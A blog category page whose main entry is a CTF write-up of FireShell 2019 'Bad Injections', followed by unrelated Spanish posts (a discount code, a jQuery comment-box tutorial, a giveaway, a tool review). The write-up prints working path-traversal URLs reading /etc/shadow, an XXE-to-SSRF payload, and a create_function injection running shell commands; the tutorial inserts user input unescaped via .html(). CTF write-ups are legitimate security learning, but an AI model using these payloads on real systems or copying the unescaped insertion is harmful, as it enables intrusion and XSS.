Archivo de la categoría: HTML

FireShell CTF 2019 – Bad Injections (WEB)

Hi everybody, this is the first CTF I play this year, it was organized by the FireShell Security team (thank you so much guys!) and this the writeup for the Bad Injection challenge from the web category.

This challenge was special because I played with some folks from work, special thanks to yovasx2 for playing this CTF with me 🙂

The challenge starts by giving us an IP address running a web server on the Internet:
http://68.183.31.62:94

There is nothing interesting in the website besides a section called List, this section displays an image with an interesting URL.

<div class='ui center aligned container'>
  <img src="download?file=files/1.jpg&hash=7e2becd243552b441738ebc6f2d84297" height="500"/>
  <img src="download?file=files/test.txt&hash=293d05cb2ced82858519bdec71a0354b" height="500"/>  
</div>

The resources are loaded using some kind of downloading script, the download script receives two parameters, file and hash, the hash corresponds to the hashed version of the value of the file parameter.

This looks like a code disclosure vulnerability so we start by trying to download the index.php file:

http://68.183.31.62:94/download?file=index.php&hash=828e0013b8f3bc1bb22b4f57172b019d
And the result is:
ini_set('display_errors',1);
ini_set('display_startup_erros',1);
error_reporting(E_ALL);
require_once('Routes.php');

function __autoload($class_name){
  if(file_exists('./classes/'.$class_name.'.php')){
    require_once './classes/'.$class_name.'.php';
  }else if(file_exists('./Controllers/'.$class_name.'.php')){
    require_once './Controllers/'.$class_name.'.php';
  }

}

In the above code we notice two things, the location in the server were the application “lives” and also the existence of the Routes.php file, we proceed to download the file.

http://68.183.31.62:94/download?file=/app/Routes.php&hash=b1146e09263e0aae856ff66a57968211
The Routes.php file is huge but there are two route functions that seems interesting
Route::set('custom',function(){
  $handler = fopen('php://input','r');
  $data = stream_get_contents($handler);
  if(strlen($data) > 1){
    Custom::Test($data);
  }else{
    Custom::createView('Custom');
  }
});

Route::set('admin',function(){
  if(!isset($_REQUEST['rss']) && !isset($_REQUES['order'])){
    Admin::createView('Admin');
  }else{
    if($_SERVER['REMOTE_ADDR'] == '127.0.0.1' || $_SERVER['REMOTE_ADDR'] == '::1'){
      Admin::sort($_REQUEST['rss'],$_REQUEST['order']);
    }else{
     echo ";(";
    }
  }
});

The custom route receives some request body and if the length is greater that 1 calls the Test function from the Custom class.

The admin route can receive two parameters, rss and order, if both exists then a validation happens, the validation checks if the request comes directly from 127.0.0.1 which is localhost, if this is true then the sort function from the Admin class is called.

Here are some other Interesting files I downloaded based on what we learned from the index.php file.

http://68.183.31.62:94/download?file=/app/Controllers/Custom.php&hash=55fdef99c788af643d2676ac21ada5f4
http://68.183.31.62:94/download?file=/app/Controllers/Admin.php&hash=42c58ba0a247b5c76bce27387e90b99f
http://68.183.31.62:94/download?file=/etc/passwd&hash=c5068b7c2b1707f8939b283a2758a691
http://68.183.31.62:94/download?file=/etc/shadow&hash=2fe8599cb25a0c790213d39b3be97c27
http://68.183.31.62:94/download?file=/app/Routes.php&hash=b1146e09263e0aae856ff66a57968211

We start looking at the Custom.php and Admin.php controllers, the Custom class looks like this.

class Custom extends Controller{
  public static function Test($string){
      $root = simplexml_load_string($string,'SimpleXMLElement',LIBXML_NOENT);
      $test = $root->name;
      echo $test;
  }
}

The Test method receives an string which then is parsed as an XML, the resulting object should contain a name attribute that is printed back to the user. The Admin class looks like this.

class Admin extends Controller{
  public static function sort($url,$order){
    $uri = parse_url($url);
    $file = file_get_contents($url);
    $dom = new DOMDocument();
    $dom->loadXML($file,LIBXML_NOENT | LIBXML_DTDLOAD);
    $xml = simplexml_import_dom($dom);
    if($xml){
     //echo count($xml->channel->item);
     //var_dump($xml->channel->item->link);
     $data = [];
     for($i=0;$i<count($xml->channel->item);$i++){
       //echo $uri['scheme'].$uri['host'].$xml->channel->item[$i]->link."\n";
       $data[] = new Url($i,$uri['scheme'].'://'.$uri['host'].$xml->channel->item[$i]->link);
       //$data[$i] = $uri['scheme'].$uri['host'].$xml->channel->item[$i]->link;
     }
     //var_dump($data);
     usort($data, create_function('$a, $b', 'return strcmp($a->'.$order.',$b->'.$order.');'));
     echo '<div class="ui list">';
     foreach($data as $dt) {

       $html = '<div class="item">';
       $html .= ''.$dt->id.' - ';
       $html .= ' <a href="'.$dt->link.'">'.$dt->link.'</a>';
       $html .= '</div>';
     }
     $html .= "</div>";
     echo $html;
    }else{
     $html .= "Error, not found XML file!";
     $html .= "<code>";
     $html .= "<pre>";
     $html .= $file;
     $html .= "</pre>";
     $hmlt .= "</code>";
     echo $html;
    }
  }

}

That it’s! the sort function uses the create_function method internally, the create_function method is very similar to the eval method, meaning if we can reach that part of the code, essentially we we can achieve code execution on the server 🙂 now the problem is how to do that since this function can only be called if the request is coming from localhost.

Remember the Test function accessible via the /custom path? that’s our way in! this function receives some input and then parse it as XML, we can take advantage of this vulnerable parser and exploit a vulnerability called XML External Entity (XXE) Processing which essentially allow us to load remote (or internal) resources.

I’ll explain this in the following example, on a command line we start by defining some variables so it’s more easy to work.

$ url='http://68.183.31.62:94/custom'
$ xml_content='<?xml version="1.0" ?><!DOCTYPE root [<!ENTITY test SYSTEM "php://filter/convert.base64-encode/resource=https://www.alevsk.com">]><root><name>&test;</name></root>'
$ curl --request POST --url "$url" --header 'cache-control: no-cache' --header 'content-type: application/xml' --data "$xml_content" | base64 -d

In the second line we are defining our XML payload, we are try to load an external resource inside the DOCTYPE tag and we are saving the response on a “variable” called test (wrapped by root and name tags), then we are doing a post request to the vulnerable service, if you are wondering why do we need &test that’s because our payload will be handled by:

$root = simplexml_load_string($string,'SimpleXMLElement',LIBXML_NOENT);
$test = $root->name;
echo $test;

The simplexml_load_string is going to process our input and then return an object, that object is expected to have a name attribute which is stored in the $test variable and then printed to the user, we are essentially using this vulnerable service as a proxy 🙂

Now, instead of querying https://www.alevsk.com we are going to do a request to http://68.183.31.62:94/admin?rss=SOME_URL&order=PAYLOAD and since the IP address of the server is the same IP of the client making the request (localhost) boom! we just bypass the admin validation and now can reach the vulnerable sort function in the Admin controller.

Exploiting the create_function call was a little bit tricky at the beginning, it required some work crafting the PHP payload in a way the final result was valid php code without any syntactic error.

According to the PHP documentation, this function receives two string parameters, the first one is the parameters and the second one is the actual code of the function we want to generate.

The sort function receives two parameters, $url and $order, we control both of them but the important one is $order because it’s going to be replaced in the string of the second parameter of the create_function function.

After some thinking I came with this idea, I’ll explain why.

$order = id, null) && die(shell_exec('ls -la /')); ($aaa="

The original piece of code looks like this.

usort($data, create_function('$a, $b', 'return strcmp($a->'.$order.',$b->'.$order.');'));

When I replace the $order variable with my payload the final code looks like this.

usort($data, create_function('$a, $b', 'return strcmp($a->id, null) && die(shell_exec(\'ls -la /\')); ($aaa=",$b->id, null) && die(shell_exec(\'ls -la /\')); ($aaa=");')); 

Maybe I over complicate the things but I remember having some issues with single, double quotes and parentheses, anyway the result is valid PHP code :), the ($aaa=” thing at the end is important because it allow us to wrap the rest of the code (everything after shell_exec) into a string variable (like ignoring or skipping the code).

Note: Since I had access to the source code I did several test on my local environment so once I got a working payload I was able to put an exploit together, I needed to encode first the code into the xml before sending the post request.

Putting everything together looks like this.

$ url='http://68.183.31.62:94/custom'
$ xml_content='<?xml version="1.0" ?><!DOCTYPE root [<!ENTITY test SYSTEM "php://filter/convert.base64-encode/resource=http://localhost/admin?rss=https%3A%2F%2Fwww.website.com%2Fpath%2Fxxe.xml&order=id%2C%20null)%20%26%26%20die(shell_exec(%27ls%20-la%20%2F%27))%3B%20(%24aaa%3D%22">]><root><name>&test;</name></root>'
$ curl --request POST --url "$url" --header 'cache-control: no-cache' --header 'content-type: application/xml' --data "$xml_content" | base64 -d
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  2197  100  1892  100   305   6348   1023 --:--:-- --:--:-- --:--:--  7347
total 116
drwxr-xr-x   1 root root 4096 Dec 26 18:10 .
drwxr-xr-x   1 root root 4096 Dec 26 18:10 ..
-rwxr-xr-x   1 root root    0 Dec 25 23:47 .dockerenv
drwxr-xr-x   1 root root 4096 Dec 25 23:50 app
drwxr-xr-x   1 root root 4096 Dec  4 15:47 bin
drwxr-xr-x   2 root root 4096 Apr 10  2014 boot
-rwxr-xr-x   1 root root 1122 Feb 15  2016 create_mysql_admin_user.sh
-rw-r--r--   1 root root   31 Dec 26 03:34 da0f72d5d79169971b62a479c34198e7
drwxr-xr-x   5 root root  360 Dec 25 23:47 dev
drwxr-xr-x   1 root root 4096 Dec 25 23:55 etc
drwxr-xr-x   2 root root 4096 Apr 10  2014 home
drwxr-xr-x   1 root root 4096 Feb 15  2016 lib
drwxr-xr-x   2 root root 4096 Jan 19  2016 lib64
drwxr-xr-x   2 root root 4096 Jan 19  2016 media
drwxr-xr-x   2 root root 4096 Apr 10  2014 mnt
drwxr-xr-x   2 root root 4096 Jan 19  2016 opt
dr-xr-xr-x 331 root root    0 Dec 25 23:47 proc
drwx------   1 root root 4096 Dec 26 18:10 root
drwxr-xr-x   1 root root 4096 Feb 15  2016 run
-rwxr-xr-x   1 root root  549 Feb 15  2016 run.sh
drwxr-xr-x   1 root root 4096 Jan 19  2016 sbin
drwxr-xr-x   2 root root 4096 Jan 19  2016 srv
-rwxr-xr-x   1 root root   67 Feb 15  2016 start-apache2.sh
-rwxr-xr-x   1 root root   29 Feb 15  2016 start-mysqld.sh
dr-xr-xr-x  13 root root    0 Jan 26 19:06 sys
drwxrwxrwt   1 root root 4096 Jan 27 03:30 tmp
drwxr-xr-x   1 root root 4096 Feb 15  2016 usr
drwxr-xr-x   1 root root 4096 Feb 15  2016 var

The flag was inside the da0f72d5d79169971b62a479c34198e7 file, so we just cat the file and got the flag: f#{1_d0nt_kn0w_wh4t_i4m_d01ng}

Happy hacking 🙂

50% de descuento para Campus Party 2014!

cover2

Uno de los eventos más importantes de Tecnología y ambiente tecnológico del mundo se celebrará en nuestro país en Zapopan, hablamos de CPMX5 y hoy te mostraremos la oportunidad de como obtener tus entradas con el 50 de descuento.

  • Deben registrarse como campusero en www.campus-party.com.mx.
  • Si ya tienes usuario solo debes hacer login.
  • Una vez hecho login en el panel de usuario deben seleccionar la opción «Comprar entrada». (http://www.campus-party.com.mx/webapp/fichaUsuario/pago)
  • Elegir la opción «Comprar con descuento».
  • En el proceso deben usar el siguiente código de descuento: CD501ihw35hi (copia y pega).
  • Una vez elegido el tipo de entrada se procede al pago de la cantidad vía PayPal.

¡Y listo! solo faltaría esperar a que llegue el día de comienzo de #CPMX5 para disfrutar de una semana de contenidos para los fans de la tecnología y lo que esto implica.

Comentario tipo facebook utilizando jQuery

Muchas veces mientras desarrollamos una aplicación web nos vemos en la necesidad de implementar algo que permita a los usuarios involucrarse en lo que sea que estemos haciendo, los sistemas de comentarios son una parte muy común en toda plataforma web de hoy en día, se trata de una de las características principales que no pueden faltar en ningún sitio, blog o red de noticias, básicamente un sistema de comentarios abre un canal de comunicación entre nosotros y los visitantes. Teniendo esto en cuenta no está de más mencionar que existen muchos servicios gratuitos en la red que nos permiten implementar un sistema de comentarios de forma muy rápida como por ejemplo Disqus.

En principio lo mínimo que tiene que tener un sistema de comentarios es un nombre de quien comenta, avatar y texto del comentario, entonces siguiendo este principio básico hoy vamos a implementar una interfaz de sistema de comentarios tipo Facebook utilizando HTML y jQuery. Los comentarios en Facebook tienen una característica muy particular, ha diferencia de muchos otros, Facebook no recarga la página una vez que escribimos y presionamos enter, esto es posible gracias al uso de Ajax, a grandes rasgos Ajax es una tecnología que permite que nuestro navegador (Chrome, Firefox, safari, etc) pueda mandar petición al servidor de manera asíncrona, dándonos después la posibilidad de modificar ciertas secciones de nuestra pagina usando JavaScript.

Echemos un vistazo a como lucen los comentarios en Facebook, después podremos comenzar a desarrollar nuestra copia (y aprender de ello en el proceso :))

facebook_comments

Como mencionaba más arriba, básicamente se compone de, un cuadro de texto para escribir el comentario, y cada comentario tiene nombre, avatar y texto, pues manos a la obra.

Paso 1: Crear la estructura en HTML

Usando HTML vamos a comenzar a crear lo que será nuestro formulario y una lista de comentarios de ejemplo, para esto utilizaremos divs.
El formulario para escribir comentarios puede ser muy sencillo y constar solo de 2 campos, el texto y el nombre de usuario:

<form action="post.php" id="postComment" method="post" accept-charset="utf-8">
   <input type="text" name="newComment" required="" autocomplete="off" placeholder="¿En que estas pensando?" id="newComment"></input>
   <input type="hidden" name="username" id="username" value="Alevsk"></input>
</form>

Y nuestro “modelo” de comentario estará conformado solamente por una imagen y un espacio que mostrara texto, algo como:

<div class="comment">
     <div class="avatar">
         <img src="img/1.png" />
     </div>
     <div class="autoComment">
         <span>Alevsk </span>
         Comentario de ejemplo	    	
     </div>
</div>

Ok, entonces ahora combinando ambas cosas el código completo de nuestro index.html se tendría que ver más o menos así.

<!DOCTYPE html>
	<head>
  		<meta charset="utf-8" />
  		<meta name="viewport" content="width=device-width" />
    	<title>Comentarios tipo facebook con jQuery</title>
    	<script type="text/javascript" src="jquery.js"></script>
    	<script type="text/javascript" src="jquery.validate.js"></script>
	</head>
  	<body>
  		<div id="container">
	  		<div id="comments">
	  			<div class="comment">
					<div class="avatar">
						<img src="img/1.png" />
					</div>

				    <div class="autoComment">
				    	<span>Alevsk </span>
				    	Comentario de ejemplo	    	
			        </div>
	  			</div>
	  			<div class="comment">
					<div class="avatar">
						<img src="img/2.png" />
					</div>

				    <div class="autoComment">
				    	<span>Chell </span>
				    	Comentario de ejemplo	    	
			        </div>
	  			</div>
	  			<div class="comment">
					<div class="avatar">
						<img src="img/3.png" />
					</div>

				    <div class="autoComment">
				    	<span>Calorine </span>
				    	Comentario de ejemplo	    	
			        </div>
	  			</div>
	  		</div>
	  		<div id="commentBox">
	    		<form action="post.php" id="postComment" method="post" accept-charset="utf-8">
	  				<input type="text" name="newComment" required="" autocomplete="off" placeholder="¿En que estas pensando?" id="newComment"></input>
	  				<input type="hidden" name="username" id="username" value="Alevsk"></input>
	  			</form>
	  		</div>
  		</div>
  	</body>
</html>

Notaran que el Head he agregado de una vez la librería de jQuery y un plugin de validación, estos los necesitaremos más adelante ya que nos facilitaran bastante el trabajo :), con el código anterior llevamos algo como la siguiente imagen, ¿no se ve muy lindo verdad?, eso es porque nos falta agregarle un poco de estilos.

facebook_comments_1

Paso 2: Agregar estilos

Agregamos el siguiente código CSS en cualquier lugar dentro de las etiquetas de head (lo correcto sería tener el css en un archivo aparte, pero para fines demostrativos está bien así por ahora).

    	<style type="text/css">
    		body
    		{
    			font-family: 'lucida grande',tahoma,verdana,arial,sans-serif;
				font-size: 11px;
    		}
    		#container
    		{
				width: 290px;
				margin: 0 auto;
				height: auto;
				overflow: auto !important;
    		}
    		#commentBox
    		{
				background: #edeff4;
				height: 25px;
				overflow: hidden;
				display: block;
				padding: 10px;
    		}
	    	#postComment input
	    	{
				width: 100%;
	    	}
	    	#postComment .enviar
	    	{
	    		clear: both;
				float: left;
	    	}

	    	#comments
	    	{
				margin-top: 15px;
				float: left;
				width: 100%;
				background: #edeff4;
				overflow: auto;
	    	}
	    	#comments .comment
	    	{
				padding: 10px;
				border-bottom: 1px solid #fff;
				overflow: auto;
	    	}
	    	#comments .comment .avatar
	    	{
				float: left;
				margin-right: 10px;
	    	}
	    	#comments .comment .avatar img
	    	{
	    		width: 32px;
	    		height: 32px;
	    	}
	    	#comments .comment .autoComment
	    	{
				float: right;
				width: 225px;
	    	}
	    	#comments .comment .autoComment span
	    	{
	    		font-weight: bold;
	    		color: #3b5998;
	    		cursor:pointer;
	    	}
    	</style>

Recargamos la página y como por arte de magia esto se va pareciendo un poco más a los comentarios de facebook

facebook_comments_2

ijCBM2h1of0vE

En este punto tenemos algo ya muy bonito, lamentablemente no hace nada!, pero no nos desesperemos ya que solo nos falta una cosa :).

Paso 3: Utilizar jQuery para agregar los nuevos comentarios

Lo que tendremos que hacer ahora será que cuando el usuario escriba su comentario y pulse la tecla enter este sea enviado de manera asíncrona (utilizando Ajax) al servidor, después tendremos que dibujar en la pantalla de alguna manera lo que el visitante acaba de comentar, todo esto sin recargar la página. Esto puede sonar más complicado de lo que es, sobre todo si eres nuevo con jQuery. Por suerte jQuery nos permite manipular el DOM, podemos incluir elementos diatónicamente en nuestro sitio de manera muy sencilla.

¿Recuerdan el plugin de validación que había agregado en un inicio?, bueno pues ahora viene la parte interesante, el plugin nos permite agregar validaciones de todo tipo en los campos y capturar ciertos eventos que ocurren en un formulario, por ahora utilizaremos uno llamado submitHandler. submitHandler nos permite indicar código para ser ejecutado una ves que el formulario ha activa el disparador submit, esto es especialmente util a la hora de validar campos y mostrar información en la pantalla. De nuevo, este código va en cualquier parte de nuestro index.html pero lo recomendable es que este colocado entre las etiquetas head y después de haber includio la libreria jQuery y el plugin de validation.

		<script type="text/javascript">
			$(document).ready(function(){
				$('#postComment').validate({
					submitHandler: function(form) {
		    			
		  			},
			        errorPlacement: function(error,element) {
			          return;
			        },
		      	});
			});
		</script>

Después el bloque de código que se ejecutara dentro del submitHandler será una petición post al servidor utilizando ajax.

$.ajax({
						      type: "POST",
						      contentType: "application/json; charset=utf-8",
						      url: $(form).attr('action'),
						      data: $(form).serialize(),
						      success: function (result) {

						           var comment = $('<div></div>').addClass('comment');
						           var avatar = $('<div></div>').addClass('avatar');
						           var img = $('<img/>').attr({'src':'img/1.png'});
						           var text = $('<div></div>').addClass('autoComment').html('<span>'+$('#username').val()+' </span>'+$('#newComment').val());

						           avatar.append(img);
						           comment.append(avatar);
						           comment.append(text);

						           $('#comments').append(comment);
						           $('#newComment').val('');
						      }
						 });

Por el momento el formulario está mandando una petición al archivo post.php que no tiene nada, pero sería posible agregar código en este archivo que permitiera guardar los comentarios una base de datos (tal vez muestre como hacer eso en un artículo futuro)

<?php 
	// Guardar el contenido en una base de datos
	// O lo que quieras
	echo "Ok"; 
?>

Ok, continuamos, lo verdaderamente importante aquí es el siguiente código:

						           var comment = $('<div></div>').addClass('comment');
						           var avatar = $('<div></div>').addClass('avatar');
						           var img = $('<img/>').attr({'src':'img/1.png'});
						           var text = $('<div></div>').addClass('autoComment').html('<span>'+$('#username').val()+' </span>'+$('#newComment').val());

						           avatar.append(img);
						           comment.append(avatar);
						           comment.append(text);

						           $('#comments').append(comment);

Como mencionaba más arriba jQuery nos permite manipular el DOM, con las instrucciones anteriores estamos creando los divs necesarios con el texto y el nombre del visitante que después serán agregados a la lista de comentarios existentes, esto nos dará la ilusión de que el comentario fue agregado inmediatamente después de ser escrito (aunque podría ser el caso de que la información no haya terminado de ser procesada en el servidor).

Combinando el HTML, el CSS y el javascript nuestro archivo index.html tendría que verse de la siguiente manera:

<!DOCTYPE html>
	<head>
  		<meta charset="utf-8" />
  		<meta name="viewport" content="width=device-width" />
    	<title>Comentarios tipo facebook con jQuery</title>
    	<script type="text/javascript" src="jquery.js"></script>
    	<script type="text/javascript" src="jquery.validate.js"></script>
		<script type="text/javascript">
			$(document).ready(function(){
				$('#postComment').validate({
					submitHandler: function(form) {
		    			
		    			 $.ajax({
						      type: "POST",
						      contentType: "application/json; charset=utf-8",
						      url: $(form).attr('action'),
						      data: $(form).serialize(),
						      success: function (result) {

						           var comment = $('<div></div>').addClass('comment');
						           var avatar = $('<div></div>').addClass('avatar');
						           var img = $('<img/>').attr({'src':'img/1.png'});
						           var text = $('<div></div>').addClass('autoComment').html('<span>'+$('#username').val()+' </span>'+$('#newComment').val());

						           avatar.append(img);
						           comment.append(avatar);
						           comment.append(text);

						           $('#comments').append(comment);
						           $('#newComment').val('');
						      }
						 });
		  			},
			        errorPlacement: function(error,element) {
			          return;
			        },
		      	});
			});
		</script>
    	<style type="text/css">
    		body
    		{
    			font-family: 'lucida grande',tahoma,verdana,arial,sans-serif;
				font-size: 11px;
    		}
    		#container
    		{
				width: 290px;
				margin: 0 auto;
				height: auto;
				overflow: auto !important;
    		}
    		#commentBox
    		{
				background: #edeff4;
				height: 25px;
				overflow: hidden;
				display: block;
				padding: 10px;
    		}
	    	#postComment input
	    	{
				width: 100%;
	    	}
	    	#postComment .enviar
	    	{
	    		clear: both;
				float: left;
	    	}

	    	#comments
	    	{
				margin-top: 15px;
				float: left;
				width: 100%;
				background: #edeff4;
				overflow: auto;
	    	}
	    	#comments .comment
	    	{
				padding: 10px;
				border-bottom: 1px solid #fff;
				overflow: auto;
	    	}
	    	#comments .comment .avatar
	    	{
				float: left;
				margin-right: 10px;
	    	}
	    	#comments .comment .avatar img
	    	{
	    		width: 32px;
	    		height: 32px;
	    	}
	    	#comments .comment .autoComment
	    	{
				float: right;
				width: 225px;
	    	}
	    	#comments .comment .autoComment span
	    	{
	    		font-weight: bold;
	    		color: #3b5998;
	    		cursor:pointer;
	    	}
    	</style>
	</head>
  	<body>
  		<div id="container">
	  		<div id="comments">
	  			<div class="comment">
					<div class="avatar">
						<img src="img/1.png" />
					</div>
				    <div class="autoComment">
				    	<span>Alevsk </span>
				    	Comentario de ejemplo	    	
			        </div>
	  			</div>
	  			<div class="comment">
					<div class="avatar">
						<img src="img/2.png" />
					</div>

				    <div class="autoComment">
				    	<span>Chell </span>
				    	Comentario de ejemplo	    	
			        </div>
	  			</div>
	  			<div class="comment">
					<div class="avatar">
						<img src="img/3.png" />
					</div>

				    <div class="autoComment">
				    	<span>Calorine </span>
				    	Comentario de ejemplo	    	
			        </div>
	  			</div>
	  		</div>
	  		<div id="commentBox">
	    		<form action="post.php" id="postComment" method="post" accept-charset="utf-8">
	  				<input type="text" name="newComment" required="" autocomplete="off" placeholder="¿En que estas pensando?" id="newComment"></input>
	  				<input type="hidden" name="username" id="username" value="Alevsk"></input>
	  			</form>
	  		</div>
  		</div>
  	</body>
</html>

Bueno con este concluye este corto y básico tutorial, les pueda servir como base a la hora de implementar sus sistemas de comentarios y como siempre en los siguientes enlaces pueden descargar el codigo fuente y ver un ejemplo funcionando. Cualquier duda pueden escribirla en la sección de comentarios xD.

salu2

Ganate un skin de League of Legends en #CpMx4

22924_league_of_legends1_4842094_lrg

Hola de nuevo, me da mucho gusto saludarlos desde uno de los eventos mas esperados del año, Campus Party México en su cuarta edición, en esta ocasión quiero realizar un concurso tipo rifa en donde podrás ganar skins de League of Legends

  • 1º Lugar = Cualquier skin de 1350 RP
  • 2º Lugar = Cualquier skin de 975 RP
  • 3º Lugar = Cualquier skin de 750 RP

La dinámica es muy sencilla, tan solo tienes que seguirnos en twitter @Alevsk y dar like a nuestra pagina de facebook Blog de Alevsk

Por ultimo poner un comentario en este post donde indiques que estas participando junto con:

  • Tu perfil de facebook
  • Tu cuenta de twitter
  • Tu nombre de invocador en el juego

Los ganadores serán elegidos el día sábado a las 12 de la noche domingo a las 12 del día (por motivos de causa mayor)
utilizando Random.org

PARTICIPA AQUI

Nos vemos en los campus de la justicia!

NOTA: Válido solo para el server de League of Legends Latinoamérica

Concurso terminado!

Ganadores:

  • 1.- 1350 RP = stephanix
  • 2.- 975 RP = sophie4vendetta
  • 3.- 750 RP = Kenzhins

Muchas felicidades a los ganadores

GRACIAS A TODOS POR PARTICIPAR!!!!
NOS VEMOS EN EL SIGUIENTE #CPMX4!!!

@Chopapp para compartir código fuente

Después de un largo descanso …. Chop es una curiosa herramienta desarrollada por ZURB que te permite compartir snippets (trozos de código fuente) y recibir retro alimentación, si quieren saber por que esta app es bastante interesante les recomiendo seguir leyendo :).

chop

La idea es bastante simple y divertida, en el caso de querer mostrar nuestro codigo a alguna otra persona (similar a otros servicios como copypastecode o pastebin) y recibir algun tipo de retroalimentación tan solo tenemos que copiarlo en el formulario, elegir el lenguaje de programación adecuado y usar el botón de Chop It!, ejemplo:

chop_example1

Una vez hecho esto la aplicación nos pedirá un nombre de usuario y a continuación nos dará un link con el cual nuestros amigos podrán ver y opinar sobre nuestro código :), lo mas interesante de esta aplicación a diferencia de muchas otras que existen en el mercado es que nos permite realizar comentarios sobre el código línea por línea y no un comentario general, desde mi punto de vista es una forma bastante interesante de innovar y mejorar respecto a servicios ya existentes. El resultado final es algo como esto:

chop_example_2

Si quieren mantenerse informados sobre el desarrollo de esta aplicación pueden seguir a @chopapp